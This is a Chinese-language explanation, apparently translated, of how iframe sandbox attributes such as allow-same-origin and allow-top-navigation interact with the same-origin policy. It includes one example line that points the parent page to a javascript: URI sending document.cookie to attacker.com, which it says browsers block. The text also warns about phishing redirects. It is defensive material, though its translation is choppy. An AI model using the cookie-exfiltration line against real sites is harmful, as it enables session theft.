首先要注意的是,iframe(默认情况下)不像它们是同源的一部分,除非它们是. 如果 iframe 原点(在src
属性中)和父原点不同,则 iframe 将始终从父源沙盒化。这施加了一系列限制,例如无法访问window.parent
对象的大多数属性。
您可以使用该属性使同源iframe 具有与跨域 iframe [1] 相同的限制。sandbox
的值是沙盒属性sandbox
的例外,而不是一般的 iframe 安全模型。因此,不会使跨域 iframe 表现得像与父页面同源一样;它只是让同源 iframe 做如果它没有被沙盒化的话它可以做的同源事情。如果父级和 iframe 是跨域的,则不会或不会解决这个问题。allow-same-origin
allow-same-origin
allow-top-navigation
对于实际上同源且未经过沙盒处理或具有沙盒属性值的 iframe ,将allow-same-origin
允许window.parent.document.cookie
您设置或读取(非HttpOnly
)cookie。
您可能期望跨域工作的一种方法是顶部导航。即使是跨域 iframe,如果没有沙箱(或者如果沙箱有allow-top-navigation
),也可以设置(但不能获取)其父级的 URL。你可能会认为这会让你做这样的事情:
parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"
如果成功,它将在父页面的上下文中执行 javascript,并泄露该页面的(非 HttpOnly)cookie。
幸运的是,浏览器开发人员对这种技巧很聪明。iframe(允许顶部导航)可以将首页指向许多内容,但javascript:
URI 不是其中之一。
当然,允许不受信任的 iframe 进行顶部导航仍然很危险。他们可能无法利用它来注入脚本或窃取 cookie(并非没有注入漏洞,例如 XSS),但他们可以做一些事情,例如将用户导航到显示相同内容但实际上是例如,钓鱼网站。
当然,这不会泄露 cookie,只是表明它们是可读的,但这是一种利用 allow-top-navigation
[1] 然后是一些;更极端的限制比默认的跨域限制更严格。这意味着沙盒跨域 iframe 不一定是多余的。例如,默认情况下,跨域 iframe 允许大多数形式的顶部导航和运行不尝试与window.parent
对象交互的脚本,但您可以通过沙盒阻止这些。